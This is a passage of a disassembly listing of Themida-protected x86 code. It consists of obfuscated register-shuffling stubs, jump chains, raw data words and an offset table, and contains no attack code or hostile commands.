		dd 93EB8143h, 29DA0734h, 515D5BD8h, 0B39EFB9h, 0EC815717h
		dd 4, 0E9243489h, 0FFFFCEFBh, 28B8h, 0E9C58900h, 0FFFF9775h
		dd 0E924248Bh, 0FFFFACCDh, 0C0D3B551h, 0A6E908EDh, 89FFFFCFh
		dd 12E92414h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B00B:				; CODE XREF: Themida_:00619659j
		push	edi
		mov	edi, 24C77FD0h
		push	edx
		mov	edx, 41393A23h
		and	edx, 7EA161EAh
		jmp	loc_61AA11
; ---------------------------------------------------------------------------
		dw 0A7E9h
		dd 1FFFF48h, 9D0E9D9h, 48F0000h, 34FF5C24h, 4EE95824h
		dd 51FFFF6Fh, 7B5E9h, 24143300h, 8924248Bh, 5551242Ch
		dd 0FF59ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61B051:				; CODE XREF: Themida_:006135ECj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_6145E6
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0FFB28FE9h, 4BE56FFh, 1000000h, 14875EF2h, 1FE95C24h
		dd 0B400000Ah, 0AFC380DCh, 7FC380h, 65E950E3h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B087:				; CODE XREF: Themida_:006111E0j
		push	edx
		jmp	loc_6189C8
; ---------------------------------------------------------------------------
		db 0C0h, 0EBh, 5
		dd 0F604EBC0h, 0FEE380D3h, 80E8B652h, 0F330BFEEh, 0BA43E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B0A6:				; CODE XREF: Themida_:006154D8j
		push	edi
		push	458B2ABFh
		pop	edi
		jmp	loc_616432
; ---------------------------------------------------------------------------


loc_61B0B2:				; CODE XREF: Themida_:006180B8j
		mov	ebx, [esp]
		jmp	loc_6187ED
; ---------------------------------------------------------------------------


loc_61B0BA:				; CODE XREF: Themida_:00616BCFj
		sub	edx, esi
		jmp	loc_6185F0
; ---------------------------------------------------------------------------
aBVpQbqUoS	db 'vPqUo:',9,0
		align 2


loc_61B0D2:				; CODE XREF: Themida_:0061303Dj
		push	ebx
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_61A306
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 0E9241489h, 0FFFFA72Dh, 5502E9C1h, 6F29D1BDh
		dd 6EDC154h, 0C581DDF7h, 278246DDh, 831DC581h, 0E9312435h
		dd 9EC8E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B116:				; CODE XREF: Themida_:00618F3Ej
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	7A8Ch
		jmp	loc_61413B
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4E98300h, 5C240C87h, 0FF75ADE9h, 8CE953FFh
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B13F:				; CODE XREF: Themida_:0061A8B4j
		neg	ecx
		sub	ecx, 0A21B4779h
		mov	ebx, ecx
		pop	ecx
		xor	ebx, 41777600h
		sub	ebx, 591620E6h
		jmp	loc_615172
; ---------------------------------------------------------------------------


loc_61B15B:				; CODE XREF: Themida_:00611D75j
		push	ecx
		jmp	loc_61A628
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0FFCD53E9h, 4C483FFh, 0E959C831h, 0FFFF7017h, 68243C89h
		dd 0FD8h, 57242489h, 4BFh, 247C0100h, 4EE95F04h, 5EFFFFFAh
		dd 0FF867AE9h, 2434FFFFh, 5724048Bh, 243C8B54h,	243E9h
		dd 240C8900h, 8904EC83h, 98E92424h, 5CFFFF90h, 0F66F1F6h
		dd 0F68CCB6h, 0E9000038h, 0FFFFE1D9h, 0CF70E95Bh, 92B8FFFFh
		dd 2902502Dh, 0C10158C1h, 2D92C181h, 83580250h,	0C8704E9h
		dd 24248B24h, 0E9240489h, 0FFFFFE36h, 0E954575Dh, 0FFFFD145h
		dd 5B2434FFh, 0FF770BE9h, 241487FFh, 0FFBEE5E9h, 0C8B66FFh
		dd 15D56824h, 34890000h, 479AE924h, 0C8BFFFFh, 5A545224h
		dd 3160BF57h, 0DFF74945h, 8102E7C1h, 7111D2F7h,	33E78149h
		dd 816F5D56h, 180216F7h, 5FFA0103h, 4EA81h, 14870000h
		dd 14895C24h, 815A5424h, 4C2h, 4BD5500h, 81000000h, 0EF4EB0C2h
		dd 8378E945h, 67E9FFFFh, 66FFFF46h, 0E9240C8Bh,	0FFFF624Bh
		dd 5FE3BA52h, 0D329135Ah, 0FFF39BE9h, 58C201FFh, 639FF281h
		dd 0D001B4D0h, 2DE8295Ah, 26D05285h, 2444295Dh,	84E95804h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B29B:				; CODE XREF: Themida_:006143ADj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	edx, 26CB4B34h
		sub	edx, esi
		add	edx, 26CB4B34h
		jmp	loc_61A68C
; ---------------------------------------------------------------------------
		dd 41F5BA52h, 0D2F70ED7h, 0C1DAF742h, 0C28105EAh, 0FFFFFFFFh
		dd 45F6B951h, 0EA81FF89h, 0F506A67h, 2393EA81h,	0CA010618h
		dd 2393C281h, 0C2810618h, 0F506A67h, 5AD60159h,	2EE81h
		dd 34330000h, 24343124h, 8B243433h, 89662424h, 0F66240Ch
		dd 5166C8B6h, 45BCE99Ch, 2C8BFFFFh, 4C48324h, 0E908E9C1h
		dd 0FFFFB8E2h, 6A13CD81h, 6BE9356Fh, 0FFFFFF48h, 669D1C77h
		dd 4116658h, 93E99C24h,	58FFFF45h, 0FF9434E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61B341:				; CODE XREF: Themida_:00611BCFj
		pop	ebx
		xor	edx, eax
		pop	eax
		push	edx
		pop	eax
		pop	edx
		add	[edi+24h], eax
		mov	eax, [esp]
		jmp	loc_61780A
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 81E68956h, 4C6h, 4EE8100h, 56000000h
		dd 42474FFh, 0FF879DE9h, 6D6BBFFh, 0E3810707h, 1B8578D6h
		dd 1EB834Bh, 3ED1C381h,	0C3812A79h, 0D281C05Fh,	1C8BDA01h
		dd 0D31EE924h, 8159FFFFh, 4C1h,	4C18300h, 5C240C87h, 4C481h
		dd 6A680000h, 89000010h, 0BE56242Ch, 6B677120h,	0FFBC20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61B3C1:				; CODE XREF: Themida_:006184C3j
		add	esp, 4
		push	6D3Bh
		mov	[esp], esi
		mov	esi, 433B15C9h
		neg	esi
		sub	esi, 5807CC5h
		sub	esi, 9D2FFE1Eh
		shr	esi, 3
		push	edx
		jmp	loc_613C34
; ---------------------------------------------------------------------------
		dd 4C481h, 0C7810000h, 4, 0FFB418E9h, 2474FFFFh, 0DBF5E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B402:				; CODE XREF: Themida_:00614E4Cj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_60F988
; ---------------------------------------------------------------------------
		db 89h
		dd 3CE9240Ch
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B423:				; CODE XREF: Themida_:00619617j
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		jmp	loc_61B97C
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FFBA86E9h, 240C33FFh, 33240C31h,	90E9240Ch
		dd 0BFFFFFACh, 7CC63263h, 0E95FF929h, 0FFFFCB67h, 8107E1C1h
		dd 0DB1440E9h, 8BB85027h, 557C917Ah, 0FFAC10E9h, 40558FFh
		dd 0E9000000h, 0FFFF9278h, 0D72CF81h, 35E92C47h, 50FFFF9Fh
		dd 8845B551h, 0BA2C59E8h, 0C6883E34h, 80CEFE58h, 0F68053EEh
		dd 5AF130D1h, 59C828h, 525366D8h, 0CB364B2h, 0FFD43EE9h
		dd 24148BFFh, 0F704C483h, 7EDC1DDh, 2328ED81h, 0E952D19Ch
		dd 0FFFFE548h, 0D4E9EAD0h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B4DF:				; CODE XREF: Themida_:0061832Cj
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		push	585Eh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_61164A
; ---------------------------------------------------------------------------
		db 25h
		dd 577D766Fh, 4801C083h, 53DDBF57h, 0DBE9B152h,	54FFFF9Ah
		dd 4C5815Dh, 81000000h,	4EDh, 242C3300h, 0FF7D99E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61B521:				; CODE XREF: Themida_:00615B80j
		neg	eax
		neg	eax
		sub	eax, 0F2E9A107h
		add	edx, eax
		pop	eax
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_615492
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0E3h
		dd 49D36821h, 3A82EB81h, 62E92C9Bh
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shl	esi, 3
		push	ebp
		mov	ebp, 232554D3h
		or	ebp, 28C676Eh
		add	ebp, 39F1A2E6h
		and	esi, ebp
		mov	ebp, [esp]
		jmp	loc_61A56B
; ---------------------------------------------------------------------------
		dw 8F5Ah
		dd 0E95C2404h, 0FFFF7FD4h, 9EB4E95Ah, 0D109FFFFh, 5B57E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B596:				; CODE XREF: Themida_:0061026Bj
		pop	ebx
		dec	edx
		push	eax
		push	ecx
		mov	ecx, 1B866BB5h
		dec	ecx
		sub	ecx, 0EF581035h
		mov	eax, ecx
		pop	ecx
		jmp	loc_615B7B
; ---------------------------------------------------------------------------
		dw 0ABBBh
		dd 8939CC1Dh, 0F3295BDEh, 397E685Eh, 34890000h,	0B580E924h
		dd 39B4FFFFh, 8858E688h, 0DD005AF5h, 0FF909AE9h, 24048BFFh
		dd 0FFFD76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61B5DD:				; CODE XREF: Themida_:006106ADj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_60F8E8
; ---------------------------------------------------------------------------


loc_61B5F0:				; CODE XREF: Themida_:0061AC09j
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	787Bh
		mov	[esp], edi
		push	ebx
		mov	ebx, 29661DA5h
		mov	edi, 7993433Ch
		push	ebp
		mov	ebp, 1AF62881h
		jmp	loc_6172F5
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0C3h
		dd 5259E612h, 345AE6BAh, 98684A4Bh, 0E900001Dh,	0FFFFDEECh
		dd 8F1DE95Eh, 335FFFFFh, 38E92414h, 8BFFFFA5h, 0C4832434h
		dd 68EE8104h, 565A8110h, 5E241CF7h, 7AEE8146h, 53A72C6h
		dd 2F9F0537h, 0D4764905h, 2DF0013Dh, 3DD47649h,	9F05372Dh
		dd 0C0835E2Fh, 24043302h, 33240431h, 0D25C2404h, 0E99C2424h
		dd 0FFFF424Eh, 5BAEEA81h, 0D58900DFh, 0FFBA00E9h, 240C8BFFh
		dd 5004C483h, 0C642A6B8h, 1B9510Ah, 1000000h, 620D59C8h
		dd 2530A513h, 290B77F8h, 0FFDA64E9h, 74C381FFh,	2939E438h
		dd 0C1015BD9h, 0FF655BE9h, 0BB5359FFh, 0DD6C0C5Dh, 1C70C581h
		dd 0DD0134F5h, 1C70ED81h, 15B34F5h, 0D3E95DEEh,	81FFFFE5h
		dd 4C6h, 4C68300h, 5C243487h, 3104C483h, 2434FFD8h, 51241C8Bh
		dd 0FC9CE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B6FE:				; CODE XREF: Themida_:0061BEF3j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		push	esi
		jmp	loc_610A42
; ---------------------------------------------------------------------------
		db 1
		dd 240C8BCBh, 0E904C483h, 0FFFFF833h, 4C481h, 0C1810000h
		dd 4, 2C181h, 1AE90000h, 83FFFFFDh, 48704C0h, 0FF555C24h
		dd 5D042474h, 0FF6B1CE9h, 5DE801FFh, 0FF5F3DE9h, 56C381FFh
		dd 688A51E2h, 5173h, 0BE243489h, 6EBC3DA6h, 15EF729h, 0A6C781DFh
		dd 5B6EBC3Dh, 0E9243C33h, 0FFFFC2BFh, 44DFE981h, 40E938BDh
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B783:				; CODE XREF: Themida_:00614D37j
		push	ecx
		mov	ecx, esi
		mov	ebx, ecx
		pop	ecx
		push	ebx
		pop	edx
		mov	ebx, [esp]
		jmp	loc_617E41
; ---------------------------------------------------------------------------
		db 28h
		dd 11C580F5h, 2EC81h, 89660000h, 0F1B42404h, 50E9E528h
		dd 52FFFFD9h, 0A4556DBAh, 0B663E909h, 3268FFFFh, 89000045h
		dd 0FB89241Ch, 0E95BD889h, 0FFFF7411h, 743368h,	181E900h
		dd 34FF0000h, 11E95824h, 66FFFFDAh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_617082
; ---------------------------------------------------------------------------
		dw 7068h
		dd 5921271Dh, 6F8AC981h, 0C1811E79h, 40099FD2h,	0B2E9CD89h
		dd 0B7FFFFFEh, 0CAE7800Fh, 0CF80C7FEh, 0F6DFF687h, 0C3EF80D7h
		dd 885BFE00h, 7961E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B82A:				; CODE XREF: Themida_:00616628j
		shr	ecx, 7
		jmp	loc_615A6B
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 7921E956h, 0ED80FFFFh, 0EDCD8084h, 0B3ED80h,	0F82859E8h
		dd 0FF494EE9h, 0CD0159FFh, 0E9240C8Bh, 0FFFFC89Eh, 81243C89h
		dd 4ECh, 241C8900h, 4BBh, 0D9895100h, 0E959CF89h, 0FFFF738Ch
		dd 8124048Bh, 4C4h, 42580500h, 53E926D9h, 33FFFF96h, 248B2414h
		dd 281A6824h, 0C890000h, 56E18924h, 916C04BEh, 4EDEF77Fh
		dd 0D6F7D6F7h, 0FFE7F0E9h, 9DC281FFh, 294C523Eh, 814D5AD5h
		dd 3A24B6F5h, 6ED8154h,	0D1CED77Ch, 8BF581EDh, 0E90D9FBCh
		dd 0FFFF41AEh
; ---------------------------------------------------------------------------


loc_61B8CC:				; CODE XREF: Themida_:00611DCEj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_614786
; ---------------------------------------------------------------------------


loc_61B8DD:				; CODE XREF: Themida_:0060F957j
		mov	[esp], ebx
		jmp	loc_6167D4
; ---------------------------------------------------------------------------
		db 0ADh, 5, 59h
		dd 522B0128h, 0FF85FEE9h, 8AC381FFh, 1660A39h, 8AEB81D3h
		dd 8B660A39h, 55E92414h, 0B9FFFFD7h, 2,	0FFB041E9h, 24148BFFh
		dd 4DDE9h, 4C48100h, 21000000h,	1C8B1C5Fh, 8173E924h, 148BFFFFh
		dd 4EC8324h, 54241C89h,	0E9241C8Bh, 0FFFF5BC6h,	2CE9F289h
		dd 81FFFF43h, 4ECh, 240C8900h, 54E9F0B1h, 89FFFFD9h, 18B82404h
		dd 5112641Fh, 8A5CD4B9h, 59C8013Eh, 0EC81E0D1h,	4, 0BB241C89h
		dd 7B972641h, 0E94BD3F7h, 0FFFFA3A5h
; ---------------------------------------------------------------------------


loc_61B97C:				; CODE XREF: Themida_:0061B443j
		mov	edx, 18FB46E3h
		not	edx
		jmp	loc_61142C
; ---------------------------------------------------------------------------
aSTaM		db 'SÌ',0
		db 0DCh
		dd 0FFB1D7E9h, 148B66FFh, 69CBE924h, 34FFFFFFh,	89535B24h
		dd 41B9E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61B9AA:				; CODE XREF: Themida_:00611E97j
		mov	esi, 15AA2525h
		jmp	loc_61A4A4
; ---------------------------------------------------------------------------
		dd 4C4835Bh, 4EC81h, 34890000h,	0ADC6E924h, 0C481FFFFh
		dd 4, 66C0B60Fh, 5324148Bh, 9B68E389h, 8900003Bh, 0F682414h
		dd 8900001Bh, 74E9241Ch, 0ACFFFF85h, 999FE953h,	0E089FFFFh
		dd 405h, 0A4E0E900h, 18BFFFFh, 0EC65E959h, 2DBBFFFFh, 0E92AFD64h
		dd 0FFFF701Dh, 48B665Ch, 5BA6824h, 2C890000h, 7B06E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61BA22:				; CODE XREF: Themida_:00612DC4j
		mov	esi, esp
		push	10CAh
		mov	[esp], edi
		mov	edi, 78997099h
		sub	edi, 74E51EBBh
		push	eax
		mov	eax, 3B451DAh
		xor	edi, eax
		pop	eax
		add	esi, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_619E0D
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 52000000h, 49C3BF57h, 0B4E93DB7h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61BA5F:				; CODE XREF: Themida_:0061BC7Aj
		add	edx, 4
		add	edx, 4
		jmp	loc_6105A1
; ---------------------------------------------------------------------------
		dd 31241433h, 14332414h, 0C5815C24h, 4,	2BE56h,	0F5010000h
		dd 0D3E0E95Eh, 248BFFFFh, 3E38E924h, 0C681FFFFh, 4, 4EC81h
		dd 0C890000h, 0B6F1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61BAAA:				; CODE XREF: Themida_:0061024Ej
		pop	edx
		push	eax
		mov	eax, 43287E49h
		jmp	loc_60F8DE
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFB465h, 0C781DF01h, 3A6F55C0h, 7792E951h, 34FFFFFFh
		dd 1AE95924h, 81FFFFE1h, 6B389BCFh, 4E7C105h, 7E19CF81h
		dd 0E9563F3Dh, 0FFFF7EFAh, 0C281E289h, 4, 8704EA83h, 0E95C2414h
		dd 0FFFFC216h, 46FFEB81h, 0EB81406Bh, 282D3EC3h, 0FF41AFE9h
		dd 6FCE80FFh, 0B6E9C6FEh, 59FFFFE2h, 4BD55h, 0EA010000h
		dd 0FFE957E9h, 54A2BEFFh, 0F0897D1Dh, 2444295Eh, 0F7E95804h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61BB37:				; CODE XREF: Themida_:006108A5j
		sub	eax, 3630BBDh
		push	eax
		jmp	loc_611DEE
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 146819D9h, 0FFB3AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61BB4D:				; CODE XREF: Themida_:00610F80j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		jmp	loc_61A0B8
; ---------------------------------------------------------------------------
		dd 0C30DE956h, 3489FFFFh, 56BF5724h, 817CDD76h,	1C0AD0F7h
		dd 81D7F710h, 0FA9A8FF7h, 5F5E57C6h, 0FFA722E9h, 74205FFh
		dd 6D05144Ch, 56CD454h,	0C146C7Fh, 0E03E7505h, 0B9B9E97Eh
		dd 405FFFFh, 87000000h,	0E95C2404h, 0FFFFC09Fh
; ---------------------------------------------------------------------------


loc_61BBB8:				; CODE XREF: Themida_:00617857j
		mov	ebp, 34E51633h
		jmp	loc_6182D8
; ---------------------------------------------------------------------------


loc_61BBC2:				; CODE XREF: Themida_:006189D9j
		sub	esi, 1
		inc	esi
		xor	esi, 36CB08DDh
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 6C29419Dh
		push	eax
		mov	eax, 59535A8Dh
		sub	ebx, eax
		jmp	loc_61A69D
; ---------------------------------------------------------------------------


loc_61BBEC:				; CODE XREF: Themida_:0061A790j
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_61787F
; ---------------------------------------------------------------------------
		dd 24148966h, 0E99C5066h, 0FFFF3CCAh, 24048F66h, 66D93166h
		dd 3166CB31h, 0FB3166D9h, 0E9DF3166h, 0FFFFB497h, 4EC83ADh
		dd 51241C89h, 0FFBFD6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61BC29:				; CODE XREF: Themida_:00613ECFj
		add	esp, 4
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	17E3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	5F3Bh
		mov	[esp], ebx
		xor	dword ptr [esp], 0F8F0A51h
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_61BA5F
; ---------------------------------------------------------------------------
		db 58h
		dd offset dword_5AF27C+84h
		dd 541E68C3h, 0C890000h, 0EB35324h, 0C3FEDBF6h,	0EB80D3F6h
		dd 0EAB450ABh, 0FFE17AE9h, 7AF72DFFh, 0D0016855h, 557AF705h
		dd 0F7E95A68h, 31FFFFFEh, 2C33242Ch, 24248B24h,	9CC83B66h
		dd 0FF3C09E9h, 81425AFFh, 7238BCEAh, 0D3BF570Ah, 13EDF11h
		dd 0D3015FFBh, 11D3EB81h, 2EE93EDFh, 0FFFFFFFCh, 5E042474h
		dd 5C24048Fh, 28BF5758h, 8174E035h, 0D73B92F7h,	8EFC126h
		dd 628FB951h, 0E9817794h, 653E33E3h, 75F18141h,	311F922Ch
		dd 0F80159CFh, 3BB4E95Fh, 0EB80FFFFh, 240C8B6Ah, 0FFFCA1E9h
		dd 40478FFFh, 0FF3BA1E9h, 0A5E954FFh
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61BD33:				; CODE XREF: Themida_:0061AB22j
		push	ecx
		mov	ecx, 3B910843h
		add	edx, ecx
		jmp	loc_6171C0
; ---------------------------------------------------------------------------
		dd 0EE81DEF7h, 0A82B8E0Fh, 15EF729h, 0C0835FF8h, 0E717E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61BD56:				; CODE XREF: Themida_:00617C91j
		add	esi, 4
		jmp	loc_61816F
; ---------------------------------------------------------------------------
		db 28h,	0CFh, 66h
		dd 0DFB55159h, 2C59EF30h, 4F8287Bh, 0C3305B7Bh,	0FFC0B60Fh
		dd 0BE568734h, 5F0E035Eh, 4247431h, 0FF613EE9h,	4B8FFh
		dd 0C7010000h, 8124048Bh, 4C4h,	4C78300h, 0FF6DBFE9h, 1DCB81FFh
		dd 0E9669549h, 0FFFFD66Ah, 240C8B66h, 0E902C483h, 0FFFFFE4Ch
; ---------------------------------------------------------------------------


loc_61BDB8:				; CODE XREF: Themida_:006163ADj
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_614B78
; ---------------------------------------------------------------------------
		dw 0F101h
		dd 8124348Bh, 4C4h, 0FDEA8100h,	0E9031E37h, 0FFFF8ED8h
; ---------------------------------------------------------------------------


loc_61BDDC:				; CODE XREF: Themida_:00613A7Bj
		mov	eax, 4B3024DEh
		jmp	loc_611360
; ---------------------------------------------------------------------------
aI4HW		db '4$hW',0
		align 2
		dw 2489h
		dd 47F9E924h, 0C483FFFFh, 640BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61BDFE:				; CODE XREF: Themida_:0061A5FFj
		and	ecx, 0E5E5E4Fh
		add	ecx, 0FDB3F3C2h
		push	edx
		mov	edx, 54EC4427h
		dec	edx
		sub	edx, 26731950h
		sub	edx, 701C53CCh
		dec	edx
		not	edx
		sub	edx, 0F5130D2Dh
		sub	ebp, edx
		pop	edx
		add	ebp, ecx
		add	ebp, 4C901BC9h
		pop	ecx
		jmp	loc_612DE5
; ---------------------------------------------------------------------------


loc_61BE37:				; CODE XREF: Themida_:0060FA75j
		not	dword ptr [esp]
		jmp	loc_614368
; ---------------------------------------------------------------------------
		db 5
		dd 0C908814Bh, 0E958C789h, 0FFFFC0F8h
; ---------------------------------------------------------------------------


loc_61BE4C:				; CODE XREF: Themida_:0061715Bj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_617E66
		push	418Eh
		mov	[esp], ebx
		push	ecx
		push	458361A0h
		jmp	loc_61A8B3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2CD32424h, 8DE99C24h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61BE83:				; CODE XREF: Themida_:00614DA9j
		xchg	esi, [esp]
		jmp	loc_61687C
; ---------------------------------------------------------------------------
		db 55h
		dd 1BDh, 1C6F0900h, 51242C8Bh, 0E6E9E189h, 59FFFF69h, 535DEF29h
		dd 0FFFB5DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61BEA9:				; CODE XREF: Themida_:00612960j
		pop	ebx
		pop	esi


loc_61BEAB:				; CODE XREF: Themida_:loc_614F5Ej
					; Themida_:0061995Aj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	esi
		jmp	loc_61347A
; ---------------------------------------------------------------------------
		dd 875DEF01h, 0B6E9243Ch, 8BFFFFDEh
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_61B6FE
; ---------------------------------------------------------------------------
		dd offset dword_688498
		dd 0A60A002h, 25D6EF0h,	7C43h, 4E08DB38h, 5191h, 0F88996A9h
		dd 213h, 2, 1, 4, 0F88996A9h, 5	dup(0)
		dd offset byte_61FDC9
		dd offset word_620F92
		dd offset word_61D4BE
		dd offset word_627E9E
		dd offset byte_620BAB
		dd offset aMs?		; "?"
		dd offset off_624BDD
		dd offset byte_627F67
		dd offset word_61CDE6
		dd offset byte_625C99
		dd offset word_622C8A
		dd offset word_61D4B6
		dd offset aNskz		; "K"
		dd offset dword_620638
		dd offset byte_61FA69
		dd offset word_624B9A
		dd offset byte_61ECC5
		dd offset byte_61FFDF
		dd offset dword_624B6C
		dd offset byte_62573D
		dd offset word_6200F2
		dd offset byte_623A9B
		dd offset dword_61E548
		dd offset byte_627043
		dd offset byte_6278D7
		dd offset word_61DAB2
		dd offset dword_61CA20
		dd offset byte_61C2DD
		dd offset byte_624B5B
		dd offset byte_6236FF
		dd offset dword_61F41C
		dd offset byte_6214B9
		dd offset byte_626325
		dd offset byte_61E063
		dd offset byte_627467
		dd offset byte_6276A3
		dd offset word_6262E6
		dd offset word_620DAE
		dd offset dword_621170
		dd offset aMs		; "=\""
		dd offset word_625DAA
		dd offset word_62260E
		dd offset word_625E7E
		dd offset byte_62559D
		dd offset byte_623A6B
		dd offset word_621862
		dd offset off_61C7C2
		dd offset byte_6267FB
		dd offset byte_62314B
		dd offset word_61CD36
		dd offset dword_625C6C
		dd offset byte_61FF5B
		dd offset dword_626F00
		dd offset word_61F2D6
		dd offset byte_620DA3
		dd offset byte_62747F
		dd offset word_626732
		dd offset dword_6211E4
		dd offset dword_62690C
		dd offset byte_626CA9
		dd offset word_625776
		dd offset dword_623D08
		dd offset dword_623438
		dd offset byte_6246D7
		dd offset word_627F0E
		dd offset byte_61F02B
		dd offset byte_6271DD
		dd offset dword_61CAF8
		dd offset aMhF		; "hF"
		dd offset byte_626A45
		dd offset byte_61F6BB
		dd offset word_626E92
		dd offset dword_61C764
		dd offset byte_620257
		dd offset dword_627C10
		dd offset byte_627E27
		dd offset dword_625A58
		dd offset byte_627B2D
		dd offset off_6240B9
		dd offset byte_625FC7
		dd offset byte_61E255
		dd offset byte_622BDB
		dd offset byte_61C73D
		dd offset dword_623564
		dd offset dword_626308
		dd offset dword_624878
		dd offset word_625C62
		dd offset byte_620547
		dd offset word_6240D2
		dd offset byte_622D49
		dd offset dword_628494
		dd offset dword_624BD4
		dd offset byte_621E75
		dd offset byte_6233CB
		dd offset byte_625A29
		dd offset dword_61DDB8
		dd offset byte_621F7F
		dd offset dword_623368
		dd offset byte_6204F1
		dd offset byte_6276C9
		dd offset dword_61DABC
		dd offset dword_620104
		dd offset word_621FFA
		dd offset word_6238CA
		dd offset dword_625728
		dd offset aFlSi8	; "f$$8"
		dd offset byte_623A23
		dd offset byte_625C35
		dd offset dword_627938
		dd offset dword_61E0FC
		dd offset word_626BCA
		dd offset byte_6220C5
		dd offset byte_62486F
		dd offset dword_61D3C8
		dd offset off_61EB38
		dd offset byte_62255B
		dd offset byte_622B89
		dd offset byte_626713
		dd offset word_623392
		dd offset word_62516E
		dd offset byte_61EC83
		dd offset aNhu1		; "h1"
		dd offset dword_621FD8
		dd offset dword_61E6A4
		dd offset off_62392B
		dd offset byte_61C9A1
		dd offset byte_627D25
		dd offset byte_62501B
		dd offset aMqsvb	; "Qvb"
		dd offset byte_61C3E1
		dd offset word_61CE26
